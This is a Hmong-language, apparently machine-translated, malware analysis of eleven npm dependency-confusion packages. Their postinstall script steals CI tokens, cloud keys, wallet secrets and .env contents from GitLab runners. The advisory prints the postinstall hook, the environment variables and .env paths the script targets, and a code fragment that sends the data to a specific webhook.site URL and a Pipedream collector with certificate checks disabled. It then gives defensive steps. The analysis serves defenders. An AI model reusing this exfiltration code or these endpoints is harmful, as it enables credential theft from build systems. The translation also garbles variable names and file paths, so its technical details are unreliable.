TL; DR
Thaum 2026-06-17, ib tus account npm tau tshaj tawm kaum ib pob khoom uas sib koom ib lub hom phiaj thiab ib qho payloadKaum tus ntawm lawv nqa lub cryptodao- ua ntej (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); thib kaum ib yog qhov scoped @public-for-cdao/coreTxhua tus tau luam tawm ntawm version 99.99.99 thiab xa ib byte-zoo sib xws recon.js uas khiav mus rau postinstall.
Cov npe yog qhov qhia. Lawv nyeem zoo li cov khoom siv sab hauv ntawm crypto / DAO project tus kheej toolchain. Luam tawm rau pej xeem npm registry ntawm tus qauv siab dag, lawv zaum tos rau kev tsim kho pipeline uas tau teeb tsa los daws cov npe ntawd thiab uas ncav cuag pej xeem npm ua ntej - lossis hloov chaw - kev sau npe ntiag tug. Qhov no yog kev tsis meej pem ntawm kev vam khom, thiab qhov payload tau kho rau qhov chaw uas nws xav tias yuav tsaws: CI/CD cov neeg khiav dej num.
thaum postinstall hluav taws, recon.js sau cov ntaub ntawv ntawm tus tswv tsev, txhuam kom huv si plaub caug huab, CI, thiab crypto-wallet ib puag ncig hloov pauv, nyeem txhua yam .env cov ntaub ntawv nws tuaj yeem nrhiav thiab xa cov kab zais cia verbatim, tom qab ntawd xa cov pob khoom mus rau ob tus neeg sau - webhook.site thiab ib qho chaw xaus Pipedream - nrog kev txheeb xyuas daim ntawv pov thawj TLS raug kaw. Ib daim qauv kuj tseem sau rau hauv qab /tmp.
Mob hnyav: siab. Lub ecosystem cuam tshuam: npmTag nrho kaum ib pob khoom tau nyob rau lub sijhawm sau ntawv.
Kev tawm tsam lub cev
Lub tshuab muaj plaub qhov chaw txav mus los, thiab tsis muaj ib qho ntawm lawv yog qhov tsis pom tseeb thaum koj paub txog saib ib txheej dhau lub npe pob khoom.
1. Kev nthuav dav ntawm version ua ib qho kev ntxias kom daws teeb meem. Txhua pob khoom tshaj tawm tias muaj version 99.99.99Kev tsis meej pem ntawm kev vam khom ua haujlwm thaum tus thawj tswj hwm pob khoom, thov kom muaj lub npe sab hauv, kuj kuaj xyuas cov npe pej xeem thiab xaiv cov version siab tshaj plaws nws nrhiav tau. npm qhov kev xaiv ua ntej rau caret lossis wildcard yog qhov version zoo tshaj plaws thoob plaws txhua qhov chaw teeb tsa; yog tias ob qho tib si yog tus kheej kev sau npe thiab pej xeem npm teb rau tib lub npe, tus lej loj dua yeej. A 99.99.99 zoo dua li lwm yam version sab hauv uas ib qhov project yuav muaj tau txog, yog li tus neeg daws teeb meem uas tsis tau pinned rau qhov chaw ntiag tug nyiam qhov pej xeem - thiab hauv qhov no, kev ua phem - daim ntawv theej. Tus neeg teb xov tooj tsis tas yuav paub txog lub hom phiaj cov lej tiag tiag; xaiv qhov siab tshaj plaws tsis txaus ntseeg lav qhov sib npaug ib txwm tawg lawv txoj kev.
2. Ib qho kev ua kom tom qab kev teeb tsa. pob.json cov xov hlau rau lub payload mus rau lub installer lub neej voj voog:
{ "scripts": { "postinstall": "node recon.js" } }Tsis tas yuav import pob khoom no. Tsuas yog install nws xwb - uas yog CI pipeline ua tau yam tsis tas siv neeg — khiav recon.js.
3. Kev tshawb nrhiav zais cia dav dav. recon.js sib sau ua ke cov txiaj ntsig array hauv cov theem:
- Lub ntsiab lus ntawm tus tswv tsev: lub npe ntawm tus tswv tsev, lub platform thiab kev tso tawm, architecture, username, kev ua haujlwm directory.
- Cov hloov pauv ib puag ncig: nws rov ua dua daim ntawv teev npe ruaj khov ntawm kwv yees li plaub caug lub npe thiab cov ntaub ntawv txhua yam uas tau teeb tsa. Daim ntawv teev npe qhia tau tias - nws ua khub cov cim CI dav dav (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) thiab huab cov ntaub ntawv pov thawj (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) nrog rau kev sau npe thiab cov lus zais ntawm lub thawv (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) thiab ib pawg crypto-flavored sib txawv: TUS KHEEJ_TSWV, Kev Ntsuas Lub Hlwb, COV LUS QHIA TXOG Noob, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCCov nqi sau tseg raug txiav kom luv rau 50 tus cim thawj zaug.
- .env cov ntaub ntawv: nws tshawb nrhiav cov npe ntawm txoj kev - .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /hauv paus/.env, thiab cov . ntau lawm/kev loj hlob cov variants - thiab rau txhua cov ntaub ntawv uas muaj nyob, nws lim cov ntsiab lus rau cov kab sib phim Tus yuam sij|Zaj lus zais|Tokone|Daim ntawv hla|Tus kheej|Kev tswj tus kheej thiab thawb cov kab ntawd **tag nrho, tsis txiav** rau hauv cov txiaj ntsig.
- Cov ntsiab lus ntawm Build-host: nws teev cov npe 20 thawj zaug ntawm /tsim/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, Thiab /tmp/.
Cov npe ntawm txoj kev thiab cov npe hloov pauv tau raug hnyav rau GitLab cov neeg khiav, uas taw qhia qhov payload ncaj qha ntawm tus kheej-hosted CI infrastructure es tsis yog tus tsim tawm laptop. Kev muab cov npe sau qoob loo ua pawg ua rau kev thauj khoom yooj yim:
Lub crypto cluster yog qhov uas sib txawv qhov no los ntawm ib qho CI-secret dav dav cheb: cov kab lus cog tseg hauv hnab nyiaj thiab cov yuam sij kos npe tsuas yog tshwm sim hauv ib puag ncig ntawm a blockchain project, thiab lawv daim ntawv qhia ncaj qha mus rau cryptodao-/kos npe rau/sib cog lus kev sau npe ntawm cov neeg nqa khoom.
4. Kev lim dej ob zaug nrog kev txheeb xyuas tsis raug. Cov array uas tau sau ua ke yog serialized thiab POSTed mus rau ob qhov chaw:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })tsis lees txais: cuav tua qhov kev kuaj xyuas daim ntawv pov thawj TLS rau qhov xa tawm hu xov tooj. Cov ntaub ntawv tib yam raug luam tawm rau stdout (yog li nws kuj tsaws rau hauv CI cov cav ua haujlwm) thiab sau rau /tmp/.npm_recon_ .json. Cov yuam kev raug nqos ntsiag to, yog li ntawd xa tsis tau zoo tsis tawm qhov cim qhia hauv qhov tso zis teeb tsa tsuas yog ib qho xwb [rov xyuas dua] ntsia rau kab.
Ib qho lus tawm tswv yim tseem ceeb hauv cov ntaub ntawv piav qhia nws tias yog "Kev Tsis Sib Haum Xeeb ntawm Kev Sib Txuas Lus" Kev Them Nqi Tshawb Fawb. ”Kev txiav cov nqi ib puag ncig mus rau 50 tus cim tau cov duab ntawm ib qho pov thawj ntawm lub tswv yim. Dab tsi txav nws dhau ib lub teeb liab uas tsuas yog muaj nyob xwb yog .env kev tuav pov hwm: cov kab zais cia raug xa mus tag nrho, thiab cov chaw mus yog ob tug neeg ua haujlwm, cov neeg tawm tsam tswj hwm cov khoom sau es tsis yog lub dab dej uas tsuas suav xwb ntaus.
Ncua sij hawm
Tus qauv luam tawm yog lub cim ntawm ib qho kev thawb uas tau sau tseg, tsis yog kaum ib cov uploads ywj pheej.
Kaum lub pob khoom tau tawm hauv lub qhov rais 29 vib nas this, kwv yees li ib lub txhua peb vib nas this. Qhov scoped @pej xeem-rau-cdao/core ua raws li li 24 feeb tom qab - ib pliag kev cai sau npe rau tib lub hom phiaj, yog tias qhov project siv xa mus rau cov cuab yeej sab hauv nyob rau hauv ib qho scope es tsis yog cov npe liab qab.
Cov cim qhia txog kev sib haum xeeb
Kev Ua Tus Kheej & Kev Coj Tus Cwj Pwm Uas Tau Pom
Txhua yam hais txog cov ntsiab lus ntawm pawg rau ib sab tes. Tag nrho kaum ib pob khoom tau luam tawm los ntawm tus account npm aduljune (aduljune@proton.me, ib qho chaw nyob uas tsis tau txheeb xyuas thiab tsis muaj txuas qhov chaw khaws ntaub ntawv), hauv 25 feeb, tib lub sijhawm 99.99.99 version, xa khoom ib recon.js uas cov ntsiab lus yog byte-rau-byte zoo ib yam thoob plaws txhua pob khoom (MD5 phim thoob plaws kaum ib daim ntawv theej rho tawm). Qhov ntawd yog ib qho payload muab ntaus cim rau ntawm daim ntawv teev npe, tsis yog siv cov lej ywj pheej.
Daim ntawv teev npe txhais lub hom phiaj xav tau. cryptodao-* thiab cdao ua piav qhia txog kev teeb tsa module ntiag tug ntawm qhov project crypto / DAO, thiab daim ntawv teev cov khoom sau ntawm payload daim iav uas kwv yees: nrog rau cov CI dav dav thiab cov huab zais cia, nws tshwj xeeb ncav cuag rau TUS KHEEJ_TSWV, Kev Ntsuas Lub Hlwb, COV LUS QHIA TXOG Noob, thiab Ethereum/BSC RPC thiab cov yuam sij ntawm tus neeg muab kev pab. .env cov kev tshawb nrhiav thiab cov npe teev npe yog GitLab-runner tshwj xeeb. Qhov cuam tshuam pom tau yog tias txhua yam pipeline raug dag kom txhim kho cov no cov npe yuav xa nws cov CI tokens, cov yuam sij huab, thiab on-disk .env cov lus zais - thiab, rau ib qhov project blockchain, nws cov khoom siv hnab nyiaj - rau ob tus neeg sau nyiaj sab nraud.
Peb tsis thov txog leej twg ua tus tswj hwm tus account lossis lawv npaj yuav ua dab tsi nrog cov ntaub ntawv. Cov lus tseeb uas sawv ntawm lawv tus kheej: cov npe tsom mus rau ib hom tshwj xeeb cov cuab yeej sab hauv, qhov payload nyeem thiab xa cov nqi zais cia tiag tiag, thiab kev tsim kho vaj tse tau nyob rau hauv kev siv.
Kev cuam tshuam, cov qauv, thiab cov lus qhia tiv thaiv
Kev tsis meej pem ntawm kev vam khom tseem ua haujlwm tau zoo vim nws siv tus cwj pwm daws teeb meem, tsis yog qhov tsis muaj zog hauv txhua pob khoom. Tus neeg nqa khoom ntawm no tsis tseem ceeb - kaum ib yuav luag khoob cov pob khoom - tab sis lub vojvoog tawg yog dab tsi los xij pipeline yuam kev nyiam pej xeem npm rau lub npe sab hauv. CI cov neeg khiav yog qhov chaw phem tshaj plaws rau qhov ntawd tshwm sim: lawv tuav raws nraim cov cim thiab .env cov ntaub ntawv no payload nyeem, thiab lawv nruab kev vam khom tsis sib cuam tshuam, yog li ntawd tom qab kev teeb tsa khiav tsis muaj leej twg saib.
Cov pawg no kuj haum rau tus qauv uas peb pom tas li: cov payloads uas siv sijhawm teeb tsa uas nthuav tawm ua "kev tshawb fawb" lossis "kev soj ntsuam" thaum ua cov ntaub ntawv pov thawj tiag tiag. Lub npe nyob rau hauv cov ntaub ntawv tsis hloov qhov code ua rau ntawm tus khiav. Ob txoj kev xaiv tsim khaws cia qhov kev ua ub no ntsiag to: txhua qhov kev ua haujlwm ntawm network thiab filesystem yog qhwv rau hauv ib qho tus neeg ua haujlwm tshwj xeeb uas tshem tawm cov yuam kev, yog li xa khoom raug thaiv lossis cov ntaub ntawv ploj lawm tsis muaj cov zis kuaj mob, thiab tsuas yog ib yam luam tawm yog ib qho tsis muaj teeb meem xwb [recon] ... ntsia kab uas sib xyaw rau hauv kev sib tham ib txwm muaj. Kev siv ntawm webhook.site thiab Pipedream kuj yog qhov yooj yim ua tib zoo - ob qho tib si yog pub dawb, tau muab cov kev pabcuam thov-ntes cov kev pabcuam tam sim ntawd, yog li tus neeg teb xov tooj tsis xav tau cov servers ntawm lawv tus kheej thiab cov chaw mus ncig zoo li cov npe SaaS ib txwm muaj hauv cov cav ntoo egress.
Kev lag luam yog qhov ua rau qhov no tsim nyog rau tus neeg tiv thaiv saib xyuas txawm tias qhov Tus lej xa khoom tsis tseem ceeb. Kev sau npe kaum ib lub npe tsis raug nqi dab tsi, qhov payload yog ib qho cov ntaub ntawv theej kaum ib zaug, thiab tus thawj tswj pob khoom ua txhua yam kev ua tiav. Ib qho xwb teeb tsa tsis raug pipeline qhov twg los xij uas siv ib lub npe no them rau tag nrho kev lag luam.
Cov kauj ruam tseem ceeb rau cov neeg tiv thaiv:
- Pin cov scopes sab hauv rau koj daim ntawv sau npe ntiag tug. Kho cov npe sab hauv ntawm npm kom
thiab cov scopes tsuas yog daws teeb meem tawm tsam koj lub npe sau (scoped .npmrc registry mappings, lossis tus neeg sawv cev uas yeej tsis poob rau pej xeem npm rau cov npe chaw muaj). Khaws koj cov npe pej xeem kom tsis muaj leej twg tuaj yeem sau npe rau lawv.
- Commit lockfiles thiab nruab nrog –ignore-scripts hauv CI qhov twg ua tau, lossis tshuaj xyuas cov teeb tsa me me ntawm cov kev vam khom uas xav tau cov ntawv sau nruab. recon.js tsis tuaj yeem khiav yog tias tom qab kev teeb tsa tsis raug tua pov tseg.
- Kho qhov 99.99.99 (lossis lwm yam siab heev) ntawm lub npe sab hauv ua ib lub chij liab hauv kev tshuaj xyuas kev vam khom thiab kev saib xyuas kev sau npe.
- Ceeb toom txog kev tawm mus thaum lub sijhawm teeb tsa. A tom qab kev teeb tsa uas qhib HTTPS tawm mus kev sib txuas - tshwj xeeb tshaj yog nrog kev txheeb xyuas daim ntawv pov thawj raug kaw - rau webhook.site, Pipedream, lossis cov kev pabcuam thov-ntes zoo sib xws tsim nyog thaiv ntawm ntug network thiab cim rau hauv cov cav tsim.
- Nrhiav cov khoom cuav. Tshawb xyuas cov neeg khiav /tmp/.npm_recon_*.json thiab rau [recon] ... ntsia rau ntawm ... cim hauv cov cav CI tsis ntev los no. Yog tias pom, tig txhua daim ntawv pov thawj uas raug rau qhov ntawd pipeline — CI tokens, cov yuam sij huab, cov cim npe sau npe, thiab txhua lub hnab nyiaj lossis cov yuam sij ntiag tug uas muaj nyob hauv ib puag ncig lossis cov ntaub ntawv .env.
References
Tsis muaj kev tshaj tawm sab nraud txog pawg no thaum lub sijhawm sau ntawv; qhov kev tshuaj xyuas saum toj no yog raws li cov ntsiab lus ntawm pob khoom uas tau tshaj tawm
